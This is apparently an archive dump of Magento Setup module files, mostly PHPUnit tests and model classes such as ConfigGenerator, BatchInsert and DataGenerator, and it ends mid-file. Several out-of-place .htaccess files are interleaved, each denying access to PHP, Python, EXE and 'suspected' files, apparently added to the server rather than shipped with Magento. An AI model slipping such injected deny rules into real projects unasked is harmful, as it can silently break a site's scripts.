COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module; use Magento\Framework\App\ResourceConnection; use Magento\Framework\Filesystem; use Magento\Framework\Module\Setup\Context; use Magento\Framework\ObjectManagerInterface; use Magento\Setup\Model\ObjectManagerProvider; use Magento\Setup\Module\DataSetup; use Magento\Setup\Module\DataSetupFactory; use PHPUnit\Framework\TestCase; class DataSetupFactoryTest extends TestCase { public function testCreate() { $resource = $this->createMock(ResourceConnection::class); $filesystem = $this->createMock(Filesystem::class); $context = $this->createMock(Context::class); $context->expects($this->once())->method('getEventManager'); $context->expects($this->once())->method('getLogger'); $context->expects($this->once())->method('getMigrationFactory'); $context->expects($this->once())->method('getResourceModel')->willReturn($resource); $context->expects($this->once())->method('getFilesystem')->willReturn($filesystem); $objectManager = $this->getMockForAbstractClass( ObjectManagerInterface::class, [], '', false ); $objectManager->expects($this->once()) ->method('get') ->with(Context::class) ->willReturn($context); $objectManagerProvider = $this->createMock(ObjectManagerProvider::class); $objectManagerProvider->expects($this->once())->method('get')->willReturn($objectManager); $factory = new DataSetupFactory($objectManagerProvider); $this->assertInstanceOf(DataSetup::class, $factory->create()); } } Magento/Setup/Test/Unit/Module/Setup/SetupCacheTest.php000077700000005465151323623130017036 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\Setup; use Magento\Setup\Module\Setup\SetupCache; use PHPUnit\Framework\TestCase; class SetupCacheTest extends TestCase { /** * @var SetupCache */ private $object; protected function setUp(): void { $this->object = new SetupCache(); } public function testSetRow() { $table = 'table'; $parentId = 'parent'; $rowId = 'row'; $data = new \stdClass(); $this->object->setRow($table, $parentId, $rowId, $data); $this->assertSame($data, $this->object->get($table, $parentId, $rowId)); } public function testSetField() { $table = 'table'; $parentId = 'parent'; $rowId = 'row'; $field = 'field'; $data = new \stdClass(); $this->object->setField($table, $parentId, $rowId, $field, $data); $this->assertSame($data, $this->object->get($table, $parentId, $rowId, $field)); } /** * @dataProvider getNonexistentDataProvider * @param string $field */ public function testGetNonexistent($field) { $this->assertFalse($this->object->get('table', 'parent', 'row', $field)); } /** * @return array */ public function getNonexistentDataProvider() { return [ [null], ['field'], ]; } public function testRemove() { $table = 'table'; $parentId = 'parent'; $rowId = 'row'; $data = new \stdClass(); $this->object->setRow($table, $parentId, $rowId, $data); $this->object->remove($table, $parentId, $rowId, $data); $this->assertFalse($this->object->get($table, $parentId, $rowId)); } /** * @dataProvider hasDataProvider * @param string $table * @param string $parentId * @param string $rowId * @param string $field * @param bool $expected */ public function testHas($table, $parentId, $rowId, $field, $expected) { $this->object->setField('table', 'parent', 'row', 'field', 'data'); $this->assertSame($expected, $this->object->has($table, $parentId, $rowId, $field)); } /** * @return array */ public function hasDataProvider() { return [ 'existing' => ['table', 'parent', 'row', 'field', true], 'nonexistent field' => ['table', 'parent', 'row', 'other_field', false], 'nonexistent row' => ['table', 'parent', 'other_row', 'field', false], 'nonexistent parent' => ['table', 'other_parent', 'row', 'field', false], 'nonexistent table' => ['other_table', 'parent', 'row', 'field', false], ]; } } Magento/Setup/Test/Unit/Module/Setup/.htaccess000077700000000177151323623130015232 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/Setup/ResourceConfigTest.php000077700000002000151323623130017705 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\Setup; use Magento\Framework\App\ResourceConnection; use Magento\Setup\Module\Setup\ResourceConfig; use PHPUnit\Framework\TestCase; class ResourceConfigTest extends TestCase { /** * @dataProvider getConnectionNameDataProvider * @param string $resourceName */ public function testGetConnectionName($resourceName) { $connectionName = ResourceConnection::DEFAULT_CONNECTION; $resourceConfig = new ResourceConfig(); $this->assertEquals($connectionName, $resourceConfig->getConnectionName($resourceName)); } /** * @return array */ public function getConnectionNameDataProvider() { return [ 'validResourceName' => ['validResourceName'], 'invalidResourceName' => ['invalidResourceName'], 'blankResourceName' => [''] ]; } } Magento/Setup/Test/Unit/Module/.htaccess000077700000000177151323623130014132 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/ConfigGeneratorTest.php000077700000013752151323623130016764 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module; use Magento\Framework\App\DeploymentConfig; use Magento\Framework\Config\ConfigOptionsListConstants; use Magento\Framework\Config\Data\ConfigData; use Magento\Framework\Config\Data\ConfigDataFactory; use Magento\Framework\Config\File\ConfigFilePool; use Magento\Framework\Math\Random; use Magento\Framework\TestFramework\Unit\Helper\ObjectManager; use Magento\Setup\Model\ConfigGenerator; use Magento\Setup\Model\ConfigOptionsList\DriverOptions; use Magento\Setup\Model\CryptKeyGenerator; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; /** * Test for Magento\Setup\Model\ConfigGenerator class. */ class ConfigGeneratorTest extends TestCase { /** * @var ConfigGenerator */ private $configGeneratorObject; protected function setUp(): void { /** @var DeploymentConfig|MockObject $deployConfig */ $deployConfig = $this->createMock(DeploymentConfig::class); $deployConfig->expects($this->any())->method('isAvailable')->willReturn(false); /** @var Random|MockObject $randomMock */ $randomMock = $this->createMock(Random::class); $randomMock->expects($this->any())->method('getRandomString')->willReturn('key'); $cryptKeyGenerator = new CryptKeyGenerator($randomMock); $objectManagerMock = $this->getMockBuilder(\Magento\Framework\App\ObjectManager::class) ->disableOriginalConstructor() ->getMock(); $objectManagerMock->method('create')->willReturn(new ConfigData('app_env')); $configDataFactoryMock = (new ObjectManager($this)) ->getObject(ConfigDataFactory::class, ['objectManager' => $objectManagerMock]); $driverOptions = $this->getMockBuilder(DriverOptions::class) ->disableOriginalConstructor() ->setMethods(['getDriverOptions']) ->getMock(); $this->configGeneratorObject = new ConfigGenerator( $randomMock, $deployConfig, $configDataFactoryMock, $cryptKeyGenerator, $driverOptions ); } public function testCreateCryptConfigWithInput() { $testData = [ConfigOptionsListConstants::INPUT_KEY_ENCRYPTION_KEY => 'some-test_key']; $returnValue = $this->configGeneratorObject->createCryptConfig($testData); $this->assertEquals(ConfigFilePool::APP_ENV, $returnValue->getFileKey()); $this->assertEquals(['crypt' => ['key' => 'some-test_key']], $returnValue->getData()); } public function testCreateCryptConfigWithoutInput() { $returnValue = $this->configGeneratorObject->createCryptConfig([]); $this->assertEquals(ConfigFilePool::APP_ENV, $returnValue->getFileKey()); // phpcs:ignore Magento2.Security.InsecureFunction $this->assertEquals(['crypt' => ['key' => md5('key')]], $returnValue->getData()); } public function testCreateSessionConfigWithInput() { $testData = [ConfigOptionsListConstants::INPUT_KEY_SESSION_SAVE => 'files']; $returnValue = $this->configGeneratorObject->createSessionConfig($testData); $this->assertEquals(ConfigFilePool::APP_ENV, $returnValue->getFileKey()); $this->assertEquals( ['session' => ['save' => ConfigOptionsListConstants::SESSION_SAVE_FILES]], $returnValue->getData() ); $testData = [ConfigOptionsListConstants::INPUT_KEY_SESSION_SAVE => 'db']; $returnValue = $this->configGeneratorObject->createSessionConfig($testData); $this->assertEquals(ConfigFilePool::APP_ENV, $returnValue->getFileKey()); $this->assertEquals( ['session' => ['save' => ConfigOptionsListConstants::SESSION_SAVE_DB]], $returnValue->getData() ); } public function testCreateSessionConfigWithoutInput() { $returnValue = $this->configGeneratorObject->createSessionConfig([]); $this->assertEquals(ConfigFilePool::APP_ENV, $returnValue->getFileKey()); $this->assertEquals([], $returnValue->getData()); } public function testCreateDbConfig() { $testData = [ ConfigOptionsListConstants::INPUT_KEY_DB_HOST => 'testLocalhost', ConfigOptionsListConstants::INPUT_KEY_DB_NAME => 'testDbName', ConfigOptionsListConstants::INPUT_KEY_DB_USER => 'testDbUser', ConfigOptionsListConstants::INPUT_KEY_DB_PREFIX => 'testSomePrefix', ]; $returnValue = $this->configGeneratorObject->createDbConfig($testData); $this->assertEquals(ConfigFilePool::APP_ENV, $returnValue->getFileKey()); $dbData = $returnValue->getData(); $dbData = $dbData['db']; $this->assertArrayHasKey('table_prefix', $dbData); $this->assertSame('testSomePrefix', $dbData['table_prefix']); $this->assertArrayHasKey('connection', $dbData); $this->assertArrayHasKey('default', $dbData['connection']); $this->assertArrayHasKey('host', $dbData['connection']['default']); $this->assertSame('testLocalhost', $dbData['connection']['default']['host']); $this->assertArrayHasKey('dbname', $dbData['connection']['default']); $this->assertSame('testDbName', $dbData['connection']['default']['dbname']); $this->assertArrayHasKey('username', $dbData['connection']['default']); $this->assertSame('testDbUser', $dbData['connection']['default']['username']); $this->assertArrayHasKey('active', $dbData['connection']['default']); $this->assertSame('1', $dbData['connection']['default']['active']); } public function testCreateResourceConfig() { $returnValue = $this->configGeneratorObject->createResourceConfig(); $this->assertEquals(ConfigFilePool::APP_ENV, $returnValue->getFileKey()); $this->assertEquals(['resource' => ['default_setup' => ['connection' => 'default']]], $returnValue->getData()); } } Magento/Setup/Test/Unit/Module/SetupFactoryTest.php000077700000003451151323623130016333 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module; use Magento\Framework\App\ResourceConnection; use Magento\Framework\ObjectManagerInterface; use Magento\Setup\Model\ObjectManagerProvider; use Magento\Setup\Module\Setup; use Magento\Setup\Module\SetupFactory; use PHPUnit\Framework\TestCase; class SetupFactoryTest extends TestCase { public function testCreate() { $objectManager = $this->getMockForAbstractClass( ObjectManagerInterface::class, [], '', false ); $objectManager->expects($this->once()) ->method('get') ->with(ResourceConnection::class) ->willReturn($this->createMock(ResourceConnection::class)); $objectManagerProvider = $this->createMock(ObjectManagerProvider::class); $objectManagerProvider->expects($this->once())->method('get')->willReturn($objectManager); $factory = new SetupFactory($objectManagerProvider); $this->assertInstanceOf(Setup::class, $factory->create()); } public function testCreateWithParam() { $objectManager = $this->getMockForAbstractClass( ObjectManagerInterface::class, [], '', false ); $objectManager->expects($this->never())->method('get'); $resource = $this->createMock(ResourceConnection::class); $objectManagerProvider = $this->createMock(ObjectManagerProvider::class); $objectManagerProvider->expects($this->once())->method('get')->willReturn($objectManager); $factory = new SetupFactory($objectManagerProvider); $this->assertInstanceOf(Setup::class, $factory->create($resource)); } } Magento/Setup/Test/.htaccess000077700000000177151323623130011766 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/registration.php000077700000000362151323623130012470 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ use Magento\Framework\Component\ComponentRegistrar; ComponentRegistrar::register(ComponentRegistrar::SETUP, 'magento/setup', __DIR__); Magento/Setup/Model/DefaultDescriptionGenerator.php000077700000001303151323623130016451 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model; /** * Default description generator for product */ class DefaultDescriptionGenerator implements DescriptionGeneratorInterface { /** * @var string */ private $defaultDescription; /** * @param string $defaultDescription */ public function __construct($defaultDescription) { $this->defaultDescription = $defaultDescription; } /** * @param int $entityIndex * @return string */ public function generate($entityIndex) { return sprintf($this->defaultDescription, $entityIndex); } } Magento/Setup/Model/ObjectManagerProvider.php000077700000005751151323623130015241 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model; use Symfony\Component\Console\Application; use Magento\Framework\Console\CommandListInterface; use Magento\Framework\ObjectManagerInterface; use Laminas\ServiceManager\ServiceLocatorInterface; use Magento\Setup\Mvc\Bootstrap\InitParamListener; /** * Object manager provider * * Links Laminas Framework's service locator and Magento object manager. * Guaranties single object manager per application run. * Hides complexity of creating Magento object manager */ class ObjectManagerProvider { /** * @var ServiceLocatorInterface */ private $serviceLocator; /** * @var ObjectManagerInterface */ private $objectManager; /** * @var Bootstrap */ private $bootstrap; /** * @param ServiceLocatorInterface $serviceLocator * @param Bootstrap $bootstrap */ public function __construct( ServiceLocatorInterface $serviceLocator, Bootstrap $bootstrap ) { $this->serviceLocator = $serviceLocator; $this->bootstrap = $bootstrap; } /** * Retrieve object manager. * * @return ObjectManagerInterface * @throws \Magento\Setup\Exception */ public function get() { if (null === $this->objectManager) { $initParams = $this->serviceLocator->get(InitParamListener::BOOTSTRAP_PARAM); $factory = $this->getObjectManagerFactory($initParams); $this->objectManager = $factory->create($initParams); if (PHP_SAPI == 'cli') { $this->createCliCommands(); } } return $this->objectManager; } /** * Creates cli commands and initialize them with application instance * * @return void */ private function createCliCommands() { /** @var CommandListInterface $commandList */ $commandList = $this->objectManager->create(CommandListInterface::class); $application = $this->serviceLocator->get(Application::class); foreach ($commandList->getCommands() as $command) { $application->add($command); } } /** * Causes object manager to be reinitialized the next time it is retrieved. * * @return void */ public function reset() { $this->objectManager = null; } /** * Sets object manager * * @param ObjectManagerInterface $objectManager * @return void */ public function setObjectManager(ObjectManagerInterface $objectManager) { $this->objectManager = $objectManager; } /** * Returns ObjectManagerFactory * * @param array $initParams * @return \Magento\Framework\App\ObjectManagerFactory */ public function getObjectManagerFactory($initParams = []) { return $this->bootstrap->createObjectManagerFactory( BP, $initParams ); } } Magento/Setup/Model/PackagesAuth.php000077700000001270151323623130013355 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model; use Magento\Framework\App\Filesystem\DirectoryList; use Magento\Framework\Exception\LocalizedException; use Magento\Framework\Phrase; /** * Class PackagesAuth contains auth details. */ class PackagesAuth { /**#@+ * Composer auth.json keys */ const KEY_HTTPBASIC = 'http-basic'; const KEY_USERNAME = 'username'; const KEY_PASSWORD = 'password'; /**#@-*/ /**#@+ * Filenames for auth and package info */ const PATH_TO_AUTH_FILE = 'auth.json'; const PATH_TO_PACKAGES_FILE = 'packages.json'; /**#@-*/ } Magento/Setup/Model/Generator.php000077700000003765151323623130012756 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ /** * A custom "Import" adapter for Magento_ImportExport module that allows generating arbitrary data rows */ namespace Magento\Setup\Model; use Magento\ImportExport\Model\Import\AbstractSource; class Generator extends AbstractSource { /** * Data row pattern * * @var array */ protected $_pattern = []; /** * Which columns are determined as dynamic * * @var array */ protected $_dynamicColumns = []; /** * @var int */ protected $_limit = 0; /** * Read the row pattern to determine which columns are dynamic, set the collection size * * @param array $rowPattern * @param int $limit how many records to generate */ public function __construct(array $rowPattern, $limit) { foreach ($rowPattern as $key => $value) { if (is_callable($value) || is_string($value) && (false !== strpos($value, '%s'))) { $this->_dynamicColumns[$key] = $value; } } $this->_pattern = $rowPattern; $this->_limit = (int)$limit; parent::__construct(array_keys($rowPattern)); } /** * Whether limit of generated elements is reached (according to "Iterator" interface) * * @return bool */ public function valid() { return $this->_key + 1 <= $this->_limit; } /** * Render next row * * Return array or false on error * * @return array|false */ protected function _getNextRow() { $row = $this->_pattern; foreach ($this->_dynamicColumns as $key => $dynamicValue) { $index = $this->_key + 1; if (is_callable($dynamicValue)) { $row[$key] = call_user_func($dynamicValue, $index); } else { $row[$key] = str_replace('%s', $index, $dynamicValue); } } return $row; } } Magento/Setup/Model/ModuleUninstaller.php000077700000006367151323623130014477 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model; use Magento\Framework\Setup\Patch\PatchApplier; use Symfony\Component\Console\Output\OutputInterface; /** * Class to uninstall a module component */ class ModuleUninstaller { /** * @var \Magento\Framework\ObjectManagerInterface */ private $objectManager; /** * @var \Magento\Framework\Composer\Remove */ private $remove; /** * @var UninstallCollector */ private $collector; /** * @var \Magento\Setup\Module\SetupFactory */ private $setupFactory; /** * @var PatchApplier */ private $patchApplier; /** * Constructor * * @param ObjectManagerProvider $objectManagerProvider * @param \Magento\Framework\Composer\Remove $remove * @param UninstallCollector $collector * @param \Magento\Setup\Module\SetupFactory $setupFactory * @param PatchApplier $patchApplier */ public function __construct( ObjectManagerProvider $objectManagerProvider, \Magento\Framework\Composer\Remove $remove, UninstallCollector $collector, \Magento\Setup\Module\SetupFactory $setupFactory ) { $this->objectManager = $objectManagerProvider->get(); $this->remove = $remove; $this->collector = $collector; $this->setupFactory = $setupFactory; } /** * @return PatchApplier */ private function getPatchApplier() { if (!$this->patchApplier) { $this->patchApplier = $this->objectManager->get(PatchApplier::class); } return $this->patchApplier; } /** * Invoke remove data routine in each specified module * * @param OutputInterface $output * @param array $modules * @return void */ public function uninstallData(OutputInterface $output, array $modules) { $uninstalls = $this->collector->collectUninstall($modules); $setupModel = $this->setupFactory->create(); $resource = $this->objectManager->get(\Magento\Framework\Module\ModuleResource::class); foreach ($modules as $module) { if (isset($uninstalls[$module])) { $output->writeln("<info>Removing data of $module</info>"); $uninstalls[$module]->uninstall( $setupModel, new ModuleContext($resource->getDbVersion($module) ?: '') ); } $this->getPatchApplier()->revertDataPatches($module); } } /** * Run 'composer remove' to remove code * * @param OutputInterface $output * @param array $modules * @return void */ public function uninstallCode(OutputInterface $output, array $modules) { $output->writeln('<info>Removing code from Magento codebase:</info>'); $packages = []; /** @var \Magento\Framework\Module\PackageInfo $packageInfo */ $packageInfo = $this->objectManager->get(\Magento\Framework\Module\PackageInfoFactory::class)->create(); foreach ($modules as $module) { $packages[] = $packageInfo->getPackageName($module); } $this->remove->remove($packages); } } Magento/Setup/Model/DataGenerator.php000077700000003663151323623130013545 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model; /** * A custom adapter that allows generating arbitrary descriptions. */ class DataGenerator { /** * Location for dictionary file. * * @var string */ private $dictionaryFile; /** * Dictionary data. * * @var array */ private $dictionaryData; /** * Map of generated values * * @var array */ private $generatedValues; /** * DataGenerator constructor. * * @param string $dictionaryFile */ public function __construct($dictionaryFile) { $this->dictionaryFile = $dictionaryFile; $this->readData(); $this->generatedValues = []; } /** * Read data from file. * * @return void */ protected function readData() { $f = fopen($this->dictionaryFile, 'r'); while (!feof($f) && is_array($line = fgetcsv($f))) { $this->dictionaryData[] = $line[0]; } } /** * Generate string of random word data. * * @param int $minAmountOfWords * @param int $maxAmountOfWords * @param string|null $key * @return string */ public function generate($minAmountOfWords, $maxAmountOfWords, $key = null) { $numberOfWords = mt_rand($minAmountOfWords, $maxAmountOfWords); $result = ''; if ($key === null || !array_key_exists($key, $this->generatedValues)) { for ($i = 0; $i < $numberOfWords; $i++) { $result .= ' ' . $this->dictionaryData[mt_rand(0, count($this->dictionaryData) - 1)]; } $result = trim($result); if ($key !== null) { $this->generatedValues[$key] = $result; } } else { $result = $this->generatedValues[$key]; } return $result; } } Magento/Setup/Model/StoreConfigurationDataMapper.php000077700000005510151323623130016601 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model; use Magento\Backend\Model\Url; use Magento\Directory\Helper\Data; use Magento\Directory\Model\Currency; use Magento\Setup\Module\Setup; use Magento\Store\Model\Store; use Magento\Ui\Model\Config as UiConfig; /** * Model Class to Install User Configuration Data * * @package Magento\Setup\Model */ class StoreConfigurationDataMapper { /**#@+ * Model data keys */ const KEY_USE_SEF_URL = 'use-rewrites'; const KEY_BASE_URL = 'base-url'; const KEY_BASE_URL_SECURE = 'base-url-secure'; const KEY_IS_SECURE = 'use-secure'; const KEY_IS_SECURE_ADMIN = 'use-secure-admin'; const KEY_LANGUAGE = 'language'; const KEY_TIMEZONE = 'timezone'; const KEY_CURRENCY = 'currency'; const KEY_ADMIN_USE_SECURITY_KEY = 'admin-use-security-key'; const KEY_JS_LOGGING = 'js-logging'; /**#@- */ /**#@- */ private $pathDataMap = [ Store::XML_PATH_USE_REWRITES => self::KEY_USE_SEF_URL, Store::XML_PATH_UNSECURE_BASE_URL => self::KEY_BASE_URL, Store::XML_PATH_SECURE_BASE_URL => self::KEY_BASE_URL_SECURE, Data::XML_PATH_DEFAULT_LOCALE => self::KEY_LANGUAGE, Store::XML_PATH_SECURE_IN_FRONTEND => self::KEY_IS_SECURE, Store::XML_PATH_SECURE_IN_ADMINHTML => self::KEY_IS_SECURE_ADMIN, Data::XML_PATH_DEFAULT_TIMEZONE => self::KEY_TIMEZONE, Currency::XML_PATH_CURRENCY_BASE => self::KEY_CURRENCY, Currency::XML_PATH_CURRENCY_DEFAULT => self::KEY_CURRENCY, Currency::XML_PATH_CURRENCY_ALLOW => self::KEY_CURRENCY, Url::XML_PATH_USE_SECURE_KEY => self::KEY_ADMIN_USE_SECURITY_KEY, UiConfig::XML_PATH_LOGGING => self::KEY_JS_LOGGING ]; /** * Gets All Configuration Data * * @param array $installParamData * @return array */ public function getConfigData($installParamData) { $configData = []; foreach ($this->pathDataMap as $path => $key) { $configData = $this->addParamToConfigData($configData, $installParamData, $key, $path); } return $configData; } /** * Adds an install parameter value to the configData structure * * @param array $configData * @param array $installParamData * @param string $key * @param string $path * @return array */ private function addParamToConfigData($configData, $installParamData, $key, $path) { if (isset($installParamData[$key])) { if (($key === self::KEY_BASE_URL) || ($key === self::KEY_BASE_URL_SECURE)) { $installParamData[$key] = rtrim($installParamData[$key], '/') . '/'; } $configData[$path] = $installParamData[$key]; } return $configData; } } Magento/Setup/Model/SearchTermManager.php000077700000004262151323623130014351 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model; /** * Class SearchTermManager * * Class responsible for applying search terms to description * based on search terms description */ class SearchTermManager { /** * @var array */ private $searchTerms; /** * @var array */ private $searchTermsUseRate; /** * @var int */ private $totalProductsCount; /** * @param array $searchTerms * @param int $totalProductsCount */ public function __construct(array $searchTerms, $totalProductsCount) { $this->searchTerms = $searchTerms; $this->totalProductsCount = (int) $totalProductsCount; } /** * Apply search terms to product description * based on search terms use distribution * * @param string $description * @param int $currentProductIndex * @return void */ public function applySearchTermsToDescription(&$description, $currentProductIndex) { if ($this->searchTermsUseRate === null) { $this->calculateSearchTermsUseRate(); } foreach ($this->searchTerms as &$searchTerm) { if ($this->searchTermsUseRate[$searchTerm['term']]['use_rate'] > 0 && $currentProductIndex % $this->searchTermsUseRate[$searchTerm['term']]['use_rate'] === 0 && $this->searchTermsUseRate[$searchTerm['term']]['used'] < $searchTerm['count'] ) { $description .= ' ' . $searchTerm['term']; $this->searchTermsUseRate[$searchTerm['term']]['used'] += 1; } } } /** * Calculates search terms use distribution * based on total amount of products that will be generated * and number of each search term * * @return void; */ private function calculateSearchTermsUseRate() { foreach ($this->searchTerms as $searchTerm) { $this->searchTermsUseRate[$searchTerm['term']] = [ 'use_rate' => floor($this->totalProductsCount / $searchTerm['count']), 'used' => 0 ]; } } } Magento/Setup/Model/ConfigOptionsListCollector.php000077700000006271151323623130016307 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model; use Magento\Framework\App\Filesystem\DirectoryList; use Magento\Framework\Component\ComponentRegistrar; use Magento\Framework\Component\ComponentRegistrarInterface; use Magento\Framework\Filesystem; use Magento\Framework\Setup\ConfigOptionsListInterface; use Laminas\ServiceManager\ServiceLocatorInterface; /** * Collects all ConfigOptionsList class in modules and setup */ class ConfigOptionsListCollector { /** * Directory List * * @var DirectoryList */ private $directoryList; /** * Filesystem * * @var Filesystem */ private $filesystem; /** * Object manager provider * * @var ObjectManagerProvider */ private $objectManagerProvider; /** * Service locator * * @var ServiceLocatorInterface */ private $serviceLocator; /** * Component list * * @var ComponentRegistrarInterface */ private $componentRegistrar; /** * Constructor * * @param DirectoryList $directoryList * @param Filesystem $filesystem * @param ComponentRegistrarInterface $componentRegistrar * @param ObjectManagerProvider $objectManagerProvider * @param ServiceLocatorInterface $serviceLocator */ public function __construct( DirectoryList $directoryList, Filesystem $filesystem, ComponentRegistrarInterface $componentRegistrar, ObjectManagerProvider $objectManagerProvider, ServiceLocatorInterface $serviceLocator ) { $this->directoryList = $directoryList; $this->filesystem = $filesystem; $this->objectManagerProvider = $objectManagerProvider; $this->serviceLocator = $serviceLocator; $this->componentRegistrar = $componentRegistrar; } /** * Auto discover ConfigOptionsList class and collect them. * * These classes should reside in <module>/Setup directories. * * @return ConfigOptionsListInterface[] * @throws \Magento\Setup\Exception */ public function collectOptionsLists() { $optionsList = []; $modulePaths = $this->componentRegistrar->getPaths(ComponentRegistrar::MODULE); foreach (array_keys($modulePaths) as $moduleName) { $optionsClassName = str_replace('_', '\\', $moduleName) . '\Setup\ConfigOptionsList'; if (class_exists($optionsClassName)) { $optionsClass = $this->objectManagerProvider->get()->create($optionsClassName); if ($optionsClass instanceof ConfigOptionsListInterface) { $optionsList[$moduleName] = $optionsClass; } } } // check Setup $setupOptionsClassName = \Magento\Setup\Model\ConfigOptionsList::class; if (class_exists($setupOptionsClassName)) { $setupOptionsClass = $this->serviceLocator->get($setupOptionsClassName); if ($setupOptionsClass instanceof ConfigOptionsListInterface) { $optionsList['setup'] = $setupOptionsClass; } } return $optionsList; } } Magento/Setup/Model/BatchInsert.php000077700000005432151323623130013227 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model; /** * Encapsulate logic that performs batch insert into table */ class BatchInsert { /** * @var \Magento\Framework\App\ResourceConnection */ private $resourceConnection; /** * @var \Magento\Framework\DB\Adapter\AdapterInterface */ private $dbConnection; /** * @var string */ private $insertIntoTable; /** * @var int */ private $batchSize; /** * @var array */ private $dataStorage; /** * @var int */ private $currentStorageIndex = 0; /** * @param \Magento\Framework\App\ResourceConnection $resourceConnection * @param string $insertIntoTable * @param int $batchSize */ public function __construct( \Magento\Framework\App\ResourceConnection $resourceConnection, $insertIntoTable, $batchSize ) { $this->resourceConnection = $resourceConnection; $this->insertIntoTable = $insertIntoTable; $this->batchSize = $batchSize; $this->dataStorage = new \SplFixedArray($batchSize); } /** * Save data to $dataStorage and automatically flush it to DB * when storage size becomes equal to $batchSize * * @param array $dataToInsert * @return void */ public function insert(array $dataToInsert) { $this->dataStorage[$this->currentStorageIndex] = $dataToInsert; $this->currentStorageIndex++; if ($this->currentStorageIndex >= $this->batchSize) { $this->flush(); } } /** * Insert all data form $dataStorage to DB and clear $dataStorage * * @return void */ public function flush() { if ($this->currentStorageIndex > 0) { if ($this->currentStorageIndex < $this->batchSize) { $this->dataStorage->setSize($this->currentStorageIndex); } $this->getDbConnection() ->insertArray( $this->insertIntoTable, array_keys(reset($this->dataStorage)), $this->dataStorage->toArray() ); $this->dataStorage = new \SplFixedArray($this->batchSize); $this->currentStorageIndex = 0; } } /** * Retrieve current connection to DB * * Method is required to eliminate multiple calls to ResourceConnection class * * @return \Magento\Framework\DB\Adapter\AdapterInterface */ private function getDbConnection() { if ($this->dbConnection === null) { $this->dbConnection = $this->resourceConnection->getConnection(); } return $this->dbConnection; } } Magento/Setup/Model/DescriptionGeneratorInterface.php000077700000000605151323623130016771 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model; /** * Generate description for product */ interface DescriptionGeneratorInterface { /** * Generate description per product net * * @param int $entityIndex * @return string */ public function generate($entityIndex); } Magento/Setup/Model/FixtureGenerator/BundleProductTemplateGenerator.php000077700000012714151323623130022434 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model\FixtureGenerator; use Magento\Bundle\Api\Data\LinkInterfaceFactory; use Magento\Bundle\Api\Data\OptionInterfaceFactory; use Magento\Catalog\Api\Data\ProductInterface; use Magento\Catalog\Model\Product\Attribute\Source\Status; use Magento\Catalog\Model\Product\Type; use Magento\Catalog\Model\Product\Visibility; use Magento\Catalog\Model\ProductFactory; /** * Bundle product template generator. Return newly created bundle product for specified attribute set * with default values for product attributes */ class BundleProductTemplateGenerator implements TemplateEntityGeneratorInterface { /** * @var array */ private $fixture; /** * @var ProductFactory */ private $productFactory; /** * @var OptionInterfaceFactory */ private $optionFactory; /** * @var LinkInterfaceFactory */ private $linkFactory; /** * @param ProductFactory $productFactory * @param array $fixture * @param OptionInterfaceFactory $optionFactory * @param LinkInterfaceFactory $linkFactory */ public function __construct( ProductFactory $productFactory, array $fixture, OptionInterfaceFactory $optionFactory, LinkInterfaceFactory $linkFactory ) { $this->fixture = $fixture; $this->productFactory = $productFactory; $this->optionFactory = $optionFactory; $this->linkFactory = $linkFactory; } /** * {@inheritdoc} */ public function generateEntity() { $product = $this->getProductTemplate( $this->fixture['attribute_set_id'] ); $product->save(); return $product; } /** * Get product template * * @param int $attributeSet * @return ProductInterface */ private function getProductTemplate($attributeSet) { $bundleOptions = $this->fixture['_bundle_options']; $bundleProductsPerOption = $this->fixture['_bundle_products_per_option']; $bundleVariationSkuPattern = $this->fixture['_bundle_variation_sku_pattern']; $productRandomizerNumber = crc32(random_int(1, PHP_INT_MAX)); $bundleProduct = $this->productFactory->create([ 'data' => [ 'attribute_set_id' => $attributeSet, 'type_id' => Type::TYPE_BUNDLE, 'name' => 'template name' . $productRandomizerNumber, 'url_key' => 'template-url' . $productRandomizerNumber, 'sku' => 'template_sku_bundle' . $productRandomizerNumber, 'price' => 10, 'visibility' => Visibility::VISIBILITY_BOTH, 'status' => 